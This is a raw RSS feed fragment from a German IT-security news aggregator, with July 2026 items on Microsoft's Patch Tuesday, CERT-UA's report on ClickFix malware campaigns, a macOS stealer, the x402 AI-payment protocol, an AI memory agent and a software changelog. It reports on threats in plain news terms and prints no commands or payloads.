    ]]>         <![CDATA[Google Cloud’s Always-On Memory Agent Replaces RAG and Embeddings With Continuous LLM Consolidation on Gemini 3.1 Flash-Lite]]> https://tsecurity.de/de/3677665/ai-nachrichten/google-clouds-always-on-memory-agent-replaces-rag-and-embeddings-with-continuous-llm-consolidation-on-gemini-31-flash-lite/ https://tsecurity.de/de/3677665/ai-nachrichten/google-clouds-always-on-memory-agent-replaces-rag-and-embeddings-with-continuous-llm-consolidation-on-gemini-31-flash-lite/ Sat, 18 Jul 2026 10:03:42 +0200 🔧 AI Nachrichten tsecurity.de Google Cloud's generative-ai repository ships the Always-On Memory Agent, a reference implementation that treats memory as a running process. Built on Google ADK and Gemini 3.1 Flash-Lite, it uses no vector database and no embeddings. Instead, an orchestrator routes to Ingest, Consolidate, and Query sub-agents that read, connect, and write structured memory into SQLite 24/7.

    The post Google Cloud’s Always-On Memory Agent Replaces RAG and Embeddings With Continuous LLM Consolidation on Gemini 3.1 Flash-Lite appeared first on MarkTechPost.

    ]]>         <![CDATA[How to Build Plasmid Engineering Workbench with Circular Mapping, Restriction Analysis, Virtual Gels, and Primer Design]]> https://tsecurity.de/de/3677572/ai-nachrichten/how-to-build-plasmid-engineering-workbench-with-circular-mapping-restriction-analysis-virtual-gels-and-primer-design/ https://tsecurity.de/de/3677572/ai-nachrichten/how-to-build-plasmid-engineering-workbench-with-circular-mapping-restriction-analysis-virtual-gels-and-primer-design/ Sat, 18 Jul 2026 09:03:27 +0200 🔧 AI Nachrichten tsecurity.de In this tutorial, we build a Google Colab-native plasmid workbench that recreates the core ideas of SpliceCraft inside an interactive notebook environment. Instead of relying on a terminal-based TUI, we use Biopython, NumPy, and Matplotlib to load plasmid records, normalize annotated genomic features, render circular and linear plasmid maps, compute sequence statistics, analyze restriction enzyme [
]

    The post How to Build Plasmid Engineering Workbench with Circular Mapping, Restriction Analysis, Virtual Gels, and Primer Design appeared first on MarkTechPost.

    ]]>         <![CDATA[v17.0.4]]> https://tsecurity.de/de/3677472/tools/v1704/ https://tsecurity.de/de/3677472/tools/v1704/ Sat, 18 Jul 2026 07:22:41 +0200 đŸ’Ÿ Tools tsecurity.de @oh-my-pi/pi-ai

    Fixed

    • Fixed Kimi Code usage reports dropping the 5h window reset time (omp usage showed no "resets in 
" for the 5h limit): the API returns resetTime on the limit detail, not on window, so the parsed row-level reset is now carried onto the window when the window itself has none.
    • Made Kimi device-id persistence best-effort: a missing or unwritable ~/.omp/agent directory no longer throws during Kimi header construction, which silently nulled every kimi-code usage probe on fresh installs.
    • Coerced boolean tool-schema subschemas to MFJS object forms for native Moonshot/Kimi endpoints, preventing the task tool's outputSchema field from causing HTTP 400 responses (#5952).

    @oh-my-pi/pi-catalog

    Changed

    • Kimi-family models now use MFJS tool schema on all hosts, including proxies like OpenRouter that forward schemas to Moonshot

    @oh-my-pi/pi-coding-agent

    Fixed

    • Fixed bundled Linux ffmpeg recording by selecting its available ALSA input when PulseAudio support is absent, and surfaced recorder stderr when capture fails (#5907).
    • Session load now skips the recursive async blob-ref resolver for entries with no blob:sha256: references. A cheap synchronous precheck gates the walk per entry (preserving the previous per-entry initiation order under synchronous store mutation), so text-heavy histories no longer pay the Promise.all tree descent for every non-session entry (#5922).
    • Fixed task tool schemas emitting boolean subschemas that llama.cpp grammar generation cannot parse (#5957).
    • Fixed the transcript keeping finalized assistant blocks in the live compose walk after their rows entered native terminal scrollback, making each stream tick's TranscriptContainer.render depth-linear in session length. Fully committed finalized blocks are now compacted out of the local frame regardless of post-finalize version tracking; a later mutation no longer recommits on ordinary frames (no duplication) and rehydrates on the next destructive full replay (no loss). Compose cost for a live tail tick is now flat as depth grows (bench/transcript-compose.bench.ts: ratio(N5000/N500) 2.30 → 0.90) (#5930).
    • Fixed /quit and /exit hanging during interactive shutdown by making the mnemopi dispose path retain the current session and flush in-flight extractions without sleeping the bank; the /memory enqueue path and end-of-session backend enqueue still perform full cross-session consolidation. (#3641)

    @oh-my-pi/hashline

    Fixed

    • Rejected DEL N: headers with a trailing colon instead of silently tolerating the colon, so delete-with-body mistakes surface the corrective "has no colon" guidance.

    @oh-my-pi/pi-mnemopi

    Fixed

    • Fixed a corrupt cached embedding model (truncated model_optimized.onnx, Protobuf parsing failed on load) permanently disabling local embeddings: init now quarantines the broken cache file (rename to *.corrupt-<ts>, only when the path resolves inside the fastembed cache directory) and retries once so the model re-downloads.

    What's Changed

    • fix(mnemopi): self-heal a corrupt cached embedding model on init by @DarkPhilosophy in #5923
    • perf(session): gate blob-ref resolution behind synchronous precheck by @roboomp in #5925
    • fix(task): avoid boolean output schema subschemas by @roboomp in #5958
    • fix(stt): select a supported Linux ffmpeg input by @roboomp in #5909
    • fix(tui): compact committed finalized transcript history by @roboomp in #5943
    • fix(ai): normalize boolean tool schemas for Moonshot by @roboomp in #5955
    • fix(kimi): surface the 5h usage window reset time by @iacore in #5953
    • fix(mnemopi): lighter dispose consolidation so /quit returns quickly by @iacore in #4843

    New Contributors

    Full Changelog: v17.0.3...v17.0.4

    ]]>         <![CDATA[July’s Patch Tuesday sees an end-of-support collision amidst a massive, record-setting patch wave]]> https://tsecurity.de/de/3676568/it-nachrichten/julys-patch-tuesday-sees-an-end-of-support-collision-amidst-a-massive-record-setting-patch-wave/ https://tsecurity.de/de/3676568/it-nachrichten/julys-patch-tuesday-sees-an-end-of-support-collision-amidst-a-massive-record-setting-patch-wave/ Fri, 17 Jul 2026 18:08:18 +0200 📰 IT Nachrichten tsecurity.de

    Microsoft addressed 722 CVEs this month once the 427 Chromium upstream relays are set aside — roughly three times a normal cycle and one of the largest single months in recent memory. Two vulnerabilities arrive under active exploitation: an elevation of privilege in Active Directory Federation Services (CVE-2026-56155), and an elevation of privilege in SharePoint Server (CVE-2026-56164). A third, a BitLocker security feature bypass (CVE-2026-50661) is publicly disclosed but not yet exploited.

    The July 2026 Patch Tuesday earns Patch Now recommendations for Windows, Office, Exchange, and SQL Server. SharePoint has two critical RCEs on top of its exploited zero-day, and Exchange Server returns with a critical on-premises spoofing flaw. Adding to our (dear) administrator’s efforts, SharePoint Server 2016/2019 and SQL Server 2016 all reach end of support today. The Readiness team has provided a handy infographic of the expected risk profile of this month’s Patch Tuesday updates.

    Known issues

    The July release note flags known issues against the following updates:

    • BitLocker recovery prompt on first restart – the PCR7 recovery condition tracked since April remains live on the platforms that did not receive the Boot Manager servicing fix (Windows Server 2022 and Windows 10 22H2). Devices with BitLocker on the OS drive, the Group Policy “Configure TPM platform validation profile for native UEFI firmware configurations” set with PCR7 included, and Secure Boot State PCR7 Binding reported as “Not Possible” may be prompted for the recovery key on the first restart after installing this update. This month’s publicly disclosed BitLocker security feature bypass (CVE-2026-50661) keeps the component in focus.
    • WSUS synchronization error details suppressed (Windows Server 2025 and 2022) – WSUS no longer displays synchronization error details in its error reporting, a deliberate change made to address the Remote Code Execution Vulnerability CVE-2025-59287. Sync still works, but administrators triaging a failed synchronization lose the detail pane and must fall back to the SoftwareDistribution logs.

    Windows Update can still replace manually installed graphics drivers with older OEM versions from the catalogue (the four-part Hardware ID ranking issue acknowledged on the Hardware Dev Center). The two-part HWID pilot runs to September 2026.

    Major revisions and mitigations

    Between the June and July Patch Tuesdays, MSRC Security Update Guide notices updated 651 reported CVEs across six notification dates (15, 19, 26 June and 3, 8, 11 July), 532 of them routine Chromium upstream re-publications. Of the roughly 30 Microsoft revisions, almost all were cross-platform Office catch-up with no bearing on a Windows enterprise estate. No further action required for IT administrators for this Windows update cycle.

    Windows lifecycle and enforcement updates

    This is the deadline cycle June pointed at. The July end-of-support wave lands today, and it collides with the month’s heaviest patching. SharePoint and SQL Server take some of their most active security updates ever on platforms receiving their last.

    • SharePoint Server 2016 and 2019, Project Server 2016 and 2019, SQL Server 2016 and InfoPath 2013 have all reached end of support. SQL Server 2014 ESU Year 2 reaches end of support today. SharePoint 2016/2019 take an actively exploited zero-day and two RCEs this cycle, and SQL Server 2016 takes a critical RCE, all as their final security update. Now is the time to get moving on updating these platforms.

    The 2011 Secure Boot certificate expiries have now passed; devices that never took the Windows UEFI CA 2023 key updates under CVE-2023-24932 can no longer receive updated boot components, with the Windows Production PCA for the boot manager still ahead on 19 October 2026. Kerberos RC4 hardening (CVE-2026-20833) has been in enforcement since April 2026; the July 2026 update removes the RC4DefaultDisablementPhase rollback control that let administrators defer it, making enforcement final.

    Microsoft’s July 2026 Patch Tuesday is a security-only release: 180 test-guidance entries, 14 of them high risk (June had one). Printing and graphics are the centre of gravity: win32kfull.sys, the kernel-mode window manager, is the most-patched binary (14 entries), and seven high-risk flags sit alongside it – the Print Spooler, four win32k entries, and two GDI+ metafile entries. NTFS is the second theme, with 10 entries, two high risk. Every entry reports no functional changes – it’s pure regression validation. The packages span Windows 11 26H1 back to Server 2012 ESU.

    Printing and graphics (high risk)

    The Print Spooler flag centres on shared printers, whose queue status must track jobs accurately; the win32k flags cover 32-bit application printing, font rendering in printed and exported output, on-screen rendering, and window management; the GDI+ flags cover metafiles.

    • Share a printer from a print server, print from a separate client in varied sizes and formats, and cancel a job, confirming the queue reflects every state change
    • Print from your 32-bit applications, and print text-heavy, graphics-heavy, and multi-page documents to physical and virtual (PDF or XPS) printers, repeating after orientation, scaling, and resolution changes
    • Export documents with varied fonts to PDF and confirm fonts and layout survive; render EMF+ files that apply effects to very large images, and convert EMF files to WMF
    • Open and close windows rapidly, drive common dialogs by mouse and keyboard, and close parents with children open – no orphaned windows

    Storage and file systems (high risk)

    Both NTFS high-risk flags target integrity – extended attributes, and volume recovery after an unexpected shutdown. File History carries its own high-risk flag on clients. A Windows Server 2025-only bundle across boot, BitLocker, and ReFS demands the full Secure Boot/BitLocker matrix. Eight entries hit Server 2025 alone, including WSL, GPU partitioning, and a scripted Windows Server Backup pass repeating recovery after rolling the date 90 days forward.

    • Exercise NTFS extended attributes – older-system EAs, backup workflows that preserve them, concurrent same-file operations where supported – with antivirus, encryption, or storage filters active
    • Simulate an unexpected shutdown during file activity, verify the volume mounts intact, run chkdsk, and confirm indexing, shadow copies, and backup still work
    • Run a full File History pass: back up, modify and back up again, exclude folders, change frequency, move the destination
    • On Server 2025, boot all four Secure Boot/BitLocker combinations, in standard and confidential VMs where supported

    Devices, input and networking (high risk)

    Three further high-risk flags land here: HID input (hidparse.sys with win32k) – touch, keyboard, mouse, touchpad, through disconnects and restarts; the WinSock bundle (afd.sys plus Bluetooth and multicast drivers); and IrDA. The heaviest ask is not high risk at all: the NetAdapterCx driver (24H2/25H2, Server 2025) wants 500-plus adapter enable-disable cycles under Driver Verifier.

    • Run the connectivity suite: browsing, large downloads, mapped drives, an RDP session idle 30+ minutes, a Teams call, an hour of streaming, and localhost apps such as Docker or WSL
    • Stress Bluetooth: pairing, 10+ minutes of audio, input after idle, and reconnection after sleep
    • Where infrared hardware exists, transfer a file and run at least 100 connect-disconnect cycles
    • Sweep the rest: DNS Server (zone data must stay under its configured database directory), the client resolver (five entries), DHCP Server (five entries), SMB, NFS, Message Queuing (five entries), RRAS administration, client VPN, and WinHTTP/WinINet consumers

    Other windows components

    Windows Installer itself is patched: testing should include application install, uninstall, repair, and force a rollback. Hyper-V wants virtual-switch traffic as part of its testing exercises with Virtual Filtering Platform policies enforced. Sixteen media-related security entries cover playback, HEVC and MPEG-TS, USB audio, and MIDI 2.0.

    Shell hardening and LSA isolation

    These two entries are a little different from the rest of the cycle: they ask you to confirm a security behaviour actively works, not just that nothing regressed. A pass here means the protection fired, so treat them as functional checks rather than box-ticking.

    • Shortcut handling (windows.storage.dll; Windows 11 23H2 and earlier, plus Server 2022): drop a shortcut file carrying the Mark of the Web into a folder and confirm the system refuses to extract its icon and leaks no NTLM credential hash – include the zero-click paths, where the icon would otherwise render without you opening anything
    • LSA isolation and KeyGuard (24H2/25H2, Server 2025): run the supplied PowerShell validation script, which turns on Virtualization-based Security if it isn’t already, exercises KeyGuard key operations in both required and best-effort isolation modes, and reports pass or fail – it needs TPM 2.0, UEFI with Secure Boot disabled, and PowerShell 7
    • Run that script on a dedicated test machine, never a shared one: it enables test signing, disables automatic updates, and reboots without asking

    Office & SharePoint

    July’s Office wave is security-only; everything landed on 14 July, and nothing critical or non-security shipped in the 7 July preview. It’s an MSI-only cycle, so Click-to-Run estates can sit this one out.

    • On MSI Office 2016, apply the client updates – Excel (KB5002886), Word (KB5002890), PowerPoint (KB5002867), and five further Office 2016 security updates (KB5002273, KB5002887, KB5002748, KB5002857, KB5002830) – then exercise macros, external data, embedded objects, and any line-of-business add-ins
    • On SharePoint Server, patch 2016 (KB5002891, plus the KB5002892 language pack) and Subscription Edition (KB5002882), then check browser-based editing; the guidance lists SharePoint 2019 with a baseline but ships no 2019 package, so there is nothing to install there

    Mind the rollback rules before you schedule the window: most client updates can be uninstalled, but the server updates cannot and always require a reboot.

    Developer tools & databases

    The developer estate gets a broad but low-drama sweep this month. Both .NET and SQL Server patch widely, but the ask is representative-application validation rather than anything exotic – install on the matching branch and confirm normal behaviour.

    • .NET: install the SDK updates (8.0.423, 9.0.316, 10.0.302, x64 and x86) and the Framework rollups spanning 3.5 through 4.8.1 – which reach from Windows Server 2012 up to Windows 11 26H1 and Server 2025 – then run a representative set of applications and confirm they function normally
    • SQL Server: the GDR updates span 2016 SP3 through 2025 – install each on its matching branch and test that each removes cleanly
    • Check an encrypted client connection through the separately patched Windows SQL client (dbnetlib.dll), which ships outside the server branches

    The Readiness team recommends the following priorities for your larger enterprise deployments:

    • Start with printing and graphics: half the high-risk flags sit in the Print Spooler, win32k, and GDI+, so regress shared printers, 32-bit printing, PDF export, metafiles, and window management before anything else
    • Take NTFS next – extended attributes and crash recovery both touch data integrity – and add a client File History backup-and-restore pass
    • Give Server 2025 its wider matrix – the Secure Boot/BitLocker combinations, WSL, GPU partitioning, and the scripted backup pass – and work through the stress suites
    • Run the scripted KeyGuard validation on any VBS estate, preferably on a dedicated machine.

    Each month, we break down the update cycle into product families (as defined by Microsoft) with the following basic groupings:

    • Browsers (Microsoft IE and Edge)
    • Microsoft Windows (both desktop and server)
    • Microsoft Office
    • Microsoft Exchange and SQL Server
    • Microsoft Developer Tools (Visual Studio and .NET)
    • Adobe (if you get this far)

    Browsers

    Edge has had a busier month than usual. Microsoft addressed 46 Microsoft Edge (Chromium-based) CVEs this cycle. None critical, but heavily weighted to remote code execution (21 entries) and spoofing (13), led by CVE-2026-58289, a remote code execution flaw. A run of further RCEs (CVE-2026-57981, CVE-2026-56645, CVE-2026-57974) follows.

    • Microsoft Edge – the Edge-specific fixes ship in the Edge stable channel (version 150.0.4078.65, released 9 July). The concentration of RCE and spoofing this month is worth a look for managed Edge estates rather than a routine wave-through.
    • Chromium upstream – 427 CVEs relayed through MSRC this cycle, spanning the weekly Chrome release cadence since the June report: use-after-free, out-of-bounds read/write, type confusion, and inappropriate-implementation flaws across V8, Dawn, ANGLE, Skia, and Tint. The same fixes ship in the Chrome Stable channel; see the Chrome releases blog for the upstream notes.

    The Chromium volume looks (quite) alarming but is routine plumbing: it flows to Edge through its own auto-update channel. Add these browser (Edge) updates to your standard release schedule for your managed environments.

    Microsoft Windows

    Windows carries the bulk of this month’s updates: 406 CVEs, 31 rated critical and 374 important. Elevation of privilege dominates by volume (226 entries), followed by remote code execution (70), information disclosure (70), denial of service (23), and a scatter of security-feature-bypass, tampering, and spoofing entries across the following feature groupings:

    The Windows Kernel is the most-patched component (28 CVEs, seven “More Likely”), followed by NTFS (21), Windows Runtime (17), Windows Media (14), ReFS (12), and Win32k (15 across its two entries). Add this Windows update to your Patch Now deployment schedule.

    Microsoft Office

    Microsoft released 96 Office CVEs this month: 19 critical, 76 important. Remote code execution leads (53 entries), ahead of information disclosure (27) and spoofing (10). SharePoint is the centre of gravity: it touches 39 of the 96 CVEs and supplies the family’s one actively exploited flaw.

    • SharePoint Server: has been exploited (who would have guessed) and reaches end of support today. CVE-2026-56164, an elevation of privilege, is under active exploitation. Above it sit two critical remote code execution flaws, both “Exploitation More Likely” (CVE-2026-50522, CVE-2026-58644) and a critical security feature bypass (CVE-2026-55040). SharePoint Server 2016 and 2019 reach end of support on 14 July, so this exploited, critical-heavy set is the final security update those on-premises farms will receive.
    • Office has experienced a long run of critical remote code execution entries across Office, Word, and PowerPoint (among them CVE-2026-55033 and CVE-2026-55127 in Word, CVE-2026-55043 in PowerPoint, and CVE-2026-55018 in Office), topped by CVE-2026-55045.

    With an exploited zero-day, two RCEs, and an end-of-support deadline all landing on SharePoint in the same cycle, SharePoint environments are the priority. Add the July Office and SharePoint updates to your Patch Now schedule.

    Microsoft Exchange and SQL Server

    Both Exchange and SQL Server carry critical-rated security vulnerabilities this month. Exchange Server returns with an on-premises security update for Exchange Server Subscription Edition, the only on-premises release still supported after Exchange Server 2016 and 2019 reached end of support in October 2025; SQL Server takes two critical remote code execution flaws, one of them against SQL Server 2016, which reaches end of support on the same day.

    • Exchange Server (on-premises) – CVE-2026-55008, a spoofing vulnerability rated critical and “Exploitation More Likely,” is the headline. Behind it, a remote code execution entry (CVE-2026-55005) and two elevation-of-privilege flaws (CVE-2026-55006, CVE-2026-55009) round out the on-premises set. A separate Exchange Online elevation of privilege (CVE-2026-54998, critical) is fixed service-side with no customer action.
    • SQL Server – two critical remote code execution flaws: CVE-2026-54117 (SQL Server 2025) and CVE-2026-54118 (which reaches back to SQL Server 2016 SP3), with five further important elevation-of-privilege and information-disclosure entries behind them. The 2016 exposure matters because SQL Server 2016 reaches end of support on 14 July: a critical RCE on a platform taking its final update.

    Both belong on the Patch Now schedule this month: the Exchange on-premises update for its critical spoofing flaw, and the SQL Server update for the two critical RCEs.

    Microsoft developer tools

    Microsoft released 24 CVEs across its developer tooling this month, all rated important. The weighting shifts from last month’s Visual Studio Code concentration toward .NET and ASP.NET Core, where a run of denial-of-service entries dominates the volume:

    Add these Microsoft updates to your standard developer update release schedule.

    Adobe (and third-party updates)

    Outside Microsoft’s own catalogue, July is quiet. Adobe issued no Acrobat or Reader security updates. So, the month belongs to Microsoft, and it is a heavy one: 722 CVEs, roughly three times a normal cycle and one of the largest on record. Worth noting that this lands in the same season Microsoft has been talking up AI-assisted vulnerability management, and the AI stack it is selling as the answer, Copilot and Azure OpenAI among them, sits in the centre of this patch cycle’s own critical-rated updates. The (AI) tooling may be getting smarter, but the patch pile is (definitely) not getting smaller. This may be the beginning of an accelerating curve of ever larger patch cycles. My feeling is that we are in the middle of the beginning of this coming patch surge.

    This article is published as part of the Foundry Expert Contributor Network.
    Want to join?

    ]]>         <![CDATA[Sophos krempelt Security-Angebot fĂŒr KI-Ära um - ChannelPartner.de]]> https://tsecurity.de/de/3676400/it-security-nachrichten/sophos-krempelt-security-angebot-fuer-ki-aera-um-channelpartnerde/ https://tsecurity.de/de/3676400/it-security-nachrichten/sophos-krempelt-security-angebot-fuer-ki-aera-um-channelpartnerde/ Fri, 17 Jul 2026 17:11:05 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[Track Your Flights (and Delays and Cancellations) Easily With a Native iPhone App]]> https://tsecurity.de/de/3676375/it-nachrichten/track-your-flights-and-delays-and-cancellations-easily-with-a-native-iphone-app/ https://tsecurity.de/de/3676375/it-nachrichten/track-your-flights-and-delays-and-cancellations-easily-with-a-native-iphone-app/ Fri, 17 Jul 2026 17:03:04 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[ClickFix Attacks Drive UAC-0145 Cyber Campaigns, CERT-UA Warns]]> https://tsecurity.de/de/3675937/it-security-nachrichten/clickfix-attacks-drive-uac-0145-cyber-campaigns-cert-ua-warns/ https://tsecurity.de/de/3675937/it-security-nachrichten/clickfix-attacks-drive-uac-0145-cyber-campaigns-cert-ua-warns/ Fri, 17 Jul 2026 13:54:31 +0200 📰 IT Security Nachrichten tsecurity.de ClickFix Attacks

    The ClickFix attacks technique has become a key initial access method for the UAC-0145 cyber threat cluster, according to a new report from Ukraine's Computer Emergency Response Team (CERT-UA). The agency said the threat group, also tracked as Sandworm, APT44, Seashell Blizzard, and a subcluster of UAC-0002, has shifted its tactics during 2026, increasingly relying on fake CAPTCHA prompts and social engineering to compromise systems.

    CERT-UA said it has worked with Ukrainian cybersecurity agencies for several years to investigate the activities of UAC-0145. While the group previously relied on infected software installers distributed through torrent websites, recent campaigns have increasingly used ClickFix to trick users into executing malicious PowerShell commands.

    ClickFix Attacks Emerging as Primary Initial Access Vector

    According to CERT-UA, infections recorded during the spring and summer of 2026 frequently began when victims visited compromised websites displaying fake CAPTCHA pages. Users were instructed to copy and execute PowerShell commands in their terminal, a phishing technique commonly referred to as ClickFix.

    The downloaded commands were designed to retrieve malicious files such as GHETTOVIBE, a Visual Basic Script (VBS) that establishes persistence by placing itself in the Windows Startup directory.

    Once executed, attackers could deploy SCOUTCURL, a PowerShell reconnaissance tool capable of collecting information about the compromised system, including device specifications, installed software, browser data, and local files before exfiltrating the information.

    CERT-UA also observed malware loaders including FLUIDLEECH, disguised as antivirus software, and LOADLOOP being used during these campaigns.

    Backdoors and Data Theft Tools Widely Deployed

    The report noted that attackers continue using malware families such as KALAMBUR, SUMBUR, and TAMBUR after gaining access to victim systems.

    To maintain remote access, the group relied on legitimate utilities including OpenSSH and Tor, forwarding local network ports such as 445, 3389, and 22 to attacker-controlled infrastructure.

    CERT-UA also found malware designed to steal messaging data from Signal and WhatsApp, with stolen information reportedly exfiltrated using RSYNC.

    On infected systems examined during cyber defense operations, investigators additionally identified FREAKYPOLL, a Python-based backdoor distributed as compiled bytecode (.pyc), providing attackers with persistent unauthorized access.

    Compromised Websites Used to Deliver Fake CAPTCHA Pages

    During June and July 2026, CERT-UA analyzed more than ten compromised websites involved in ClickFix attacks.

    Investigators found attackers using both the Cloaking.House service and custom malware called SMARTAXE to dynamically modify legitimate webpages. SMARTAXE retrieves remote domains from blockchain smart contracts through Ethereum's eth_call function before displaying fake CAPTCHA pages or redirecting visitors to malicious content.

    CERT-UA warned that any website used in these attacks should be considered compromised, potentially through vulnerable content management systems (CMS), stolen credentials, web shells, malicious plugins, modified website scripts, or server-side backdoors.

    The agency urged website administrators and hosting providers to strengthen website security and respond quickly to incident reports.

    Android Malware Also Part of UAC-0145 Operations

    The report also highlighted growing use of Android malware distributed through messaging applications.

    Attackers were observed sharing APK files disguised as security or antivirus tools. One such malware family, tracked as COWARDDUCK, functions as a full-featured Android backdoor capable of collecting device information, contacts, files, and real-time geolocation.

    The malware targets files from directories including DCIM, Documents, Downloads, Pictures, and Alarms while searching for formats such as DOCX, XLSX, PPTX, ZIP, RAR, JSON, and OVPN files.

    According to CERT-UA, COWARDDUCK uploads stolen files through the Dropbox API while receiving commands from legitimate services including Steam Community and StockMemory domains through proxy infrastructure.

    Microsoft Sees Global Rise in ClickFix Campaigns

    Microsoft Threat Intelligence and Microsoft Defender Experts also reported that ClickFix campaigns have increased significantly since early 2024, targeting thousands of enterprise and consumer devices globally each day.

    Microsoft said the technique commonly delivers malware such as Lumma Stealer by persuading users to copy and execute commands through Windows Run, Windows Terminal, or Windows PowerShell. The campaigns are often combined with phishing, malvertising, and drive-by compromise techniques that imitate trusted brands.

    Because ClickFix attacks rely on user interaction rather than exploiting software vulnerabilities directly, Microsoft recommends organizations strengthen user awareness and apply security policies that restrict unnecessary use of command execution tools.

    ]]>         <![CDATA[Hackers Use Paste-and-Run Commands to Deploy ClickLock Stealer Against Mac Users]]> https://tsecurity.de/de/3675655/it-security-nachrichten/hackers-use-paste-and-run-commands-to-deploy-clicklock-stealer-against-mac-users/ https://tsecurity.de/de/3675655/it-security-nachrichten/hackers-use-paste-and-run-commands-to-deploy-clicklock-stealer-against-mac-users/ Fri, 17 Jul 2026 11:56:00 +0200 📰 IT Security Nachrichten tsecurity.de Hackers are actively targeting macOS users with a newly identified infostealer dubbed “ClickLock Stealer,” leveraging paste-and-run social engineering techniques to bypass Apple’s native security protections without requiring exploits or elevated privileges. Despite macOS protections such as Gatekeeper, Transparency, Consent, and


    Read more →

    The post Hackers Use Paste-and-Run Commands to Deploy ClickLock Stealer Against Mac Users appeared first on IT Security News.

    ]]>         <![CDATA[Hackers Use Paste-and-Run Commands to Deploy ClickLock Stealer Against Mac Users]]> https://tsecurity.de/de/3675555/it-security-nachrichten/hackers-use-paste-and-run-commands-to-deploy-clicklock-stealer-against-mac-users/ https://tsecurity.de/de/3675555/it-security-nachrichten/hackers-use-paste-and-run-commands-to-deploy-clicklock-stealer-against-mac-users/ Fri, 17 Jul 2026 11:09:38 +0200 📰 IT Security Nachrichten tsecurity.de Hackers are actively targeting macOS users with a newly identified infostealer dubbed “ClickLock Stealer,” leveraging paste-and-run social engineering techniques to bypass Apple’s native security protections without requiring exploits or elevated privileges. Despite macOS protections such as Gatekeeper, Transparency, Consent, and Control (TCC), System Integrity Protection (SIP), and mandatory code signing, threat actors are increasingly deploying [
]

    The post Hackers Use Paste-and-Run Commands to Deploy ClickLock Stealer Against Mac Users appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ]]>         <![CDATA[New Linux Foundation project aims to make payments native to AI workflows]]> https://tsecurity.de/de/3675554/it-security-nachrichten/new-linux-foundation-project-aims-to-make-payments-native-to-ai-workflows/ https://tsecurity.de/de/3675554/it-security-nachrichten/new-linux-foundation-project-aims-to-make-payments-native-to-ai-workflows/ Fri, 17 Jul 2026 11:09:37 +0200 📰 IT Security Nachrichten tsecurity.de

    The Linux Foundation has launched the x402 Foundation, a new industry body that will oversee the x402 payment protocol, an open standard designed to let AI agents, applications, and APIs pay for digital services over HTTP.

    The x402 protocol, originally developed by Coinbase, embeds payment capabilities directly into web interactions, allowing AI agents, APIs, and applications to send and receive payments as part of standard HTTP requests rather than through separate checkout or billing systems, according to the Linux Foundation. The protocol supports multiple payment types, from traditional cards to stablecoins.

    “Under the neutral governance of the Linux Foundation, the x402 Foundation will allow developers, financial institutions, cloud providers, and other community members to collaboratively shape the protocol’s development,” the Linux Foundation said in a statement. “This open structure ensures that payments remain highly secure and adaptable, supporting multiple payment types, from traditional cards to stablecoins, without vendor lock-in.”

    Forty organizations have joined the x402 Foundation since the Linux Foundation announced plans for the project in April, the statement added.

    Members include Amazon Web Services (AWS), Google, Visa, Mastercard, Stripe, American Express, Cloudflare, Coinbase, Fiserv, Ripple, and Shopify, representing cloud providers, payment companies, and financial services firms.

    Foundation targets a gap in agent-to-agent commerce

    The announcement comes as software vendors add AI agents to business applications and developer platforms. Many of these agents are designed to call APIs, access third-party services, and complete tasks on behalf of users, creating demand for ways to pay for digital services without relying on separate payment systems.

    Jim Zemlin, CEO of the Linux Foundation, said AI agents and automated systems are becoming active participants in the global economy but have lacked a native, secure way to transact.

    “By bringing together leading companies across finance, technology and more, we’re ensuring that the payment layer of the internet remains neutral, highly interoperable and ready to support digital commerce,” he said in the statement.

    The protocol addresses what several founding members described as a structural gap in how the web handles machine-initiated transactions.

    How the protocol works

    The x402 protocol is based on the HTTP 402 “Payment Required” status code, which was originally defined for internet payments but has seen limited use.

    The protocol is intended for transactions involving paid APIs, AI services, cloud computing resources, digital content, and other online services that require payment. The Linux Foundation said it also supports machine-to-machine payments between software applications and can work with multiple payment methods, including traditional payment cards and stablecoins.

    Today, developers typically monetize APIs and online services through subscriptions, prepaid credits, API keys, or account-based billing systems. The Linux Foundation said x402 is designed to standardize payment directly within HTTP interactions, allowing applications and AI agents to complete transactions without separate payment flows or custom billing integrations.

    Governance structure spans payments, cloud and blockchain sectors

    Under the Linux Foundation’s neutral governance model, the x402 Foundation will let developers, financial institutions, cloud providers, and other members collaboratively shape the protocol’s development.

    “This open structure ensures that payments remain highly secure and adaptable, supporting multiple payment types, from traditional cards to stablecoins, without vendor lock-in,” the statement added.

    Technology vendors have introduced AI agents that can search for information, generate code, analyze documents, and interact with external applications. Many of those systems also rely on APIs and cloud-based services to complete tasks.

    According to the Linux Foundation, x402 is designed to provide a standard way for those applications and agents to pay for services during a transaction rather than relying on separate purchasing or billing processes. The foundation said developers can integrate payment capabilities into applications using open web standards across different payment providers and software platforms.

    Growing ecosystem

    The launch comes as technology vendors begin adding payment capabilities to AI agent platforms.

    In May, AWS introduced Amazon Bedrock AgentCore Payments in preview, enabling AI agents to autonomously pay for APIs, Model Context Protocol (MCP) servers, web content, and other agents. AWS had then said the service uses the x402 protocol to negotiate HTTP 402 payment requests while handling wallet authentication, spending controls, and transaction logging.

    The Linux Foundation said the x402 Foundation will serve as the neutral home for the protocol as organizations contribute technical specifications, implementation guidance, and future extensions. The Linux Foundation and Coinbase did not respond to requests for additional comment by publication time.

    The article originally appeared on InfoWorld.

    ]]>         <![CDATA[Can Meta really compete in the cloud business?]]> https://tsecurity.de/de/3675548/ai-nachrichten/can-meta-really-compete-in-the-cloud-business/ https://tsecurity.de/de/3675548/ai-nachrichten/can-meta-really-compete-in-the-cloud-business/ Fri, 17 Jul 2026 11:04:14 +0200 🔧 AI Nachrichten tsecurity.de

    Meta is reportedly planning a cloud business that would sell access to AI computing power and models, extending its internal infrastructure into a commercial service for outside developers and enterprises. Reuters, citing Bloomberg’s reporting, noted that the planned offering would allow customers to access AI models hosted on Meta’s infrastructure and pay based on usage, effectively positioning the company in the infrastructure-as-a-service and AI platform markets. On the surface, this seems like a logical next step. If you are already spending enormous amounts of money to build AI infrastructure, there is a natural temptation to ask whether some of that investment can be monetized beyond your own internal use.

    I have seen this pattern before. A company builds sophisticated internal systems, recognizes their value, and then begins to imagine that becoming a cloud provider is simply a matter of exposing those capabilities to external customers. It sounds straightforward, especially given the excitement around AI and the demand for high-performance infrastructure. But cloud computing is not just another distribution model. It is not simply a matter of offering on-demand multitenant services and charging a fee. It is a deeply operational, trust-based business in a market that punishes companies that do not fully understand what enterprise customers require.

    A crowded neocloud market

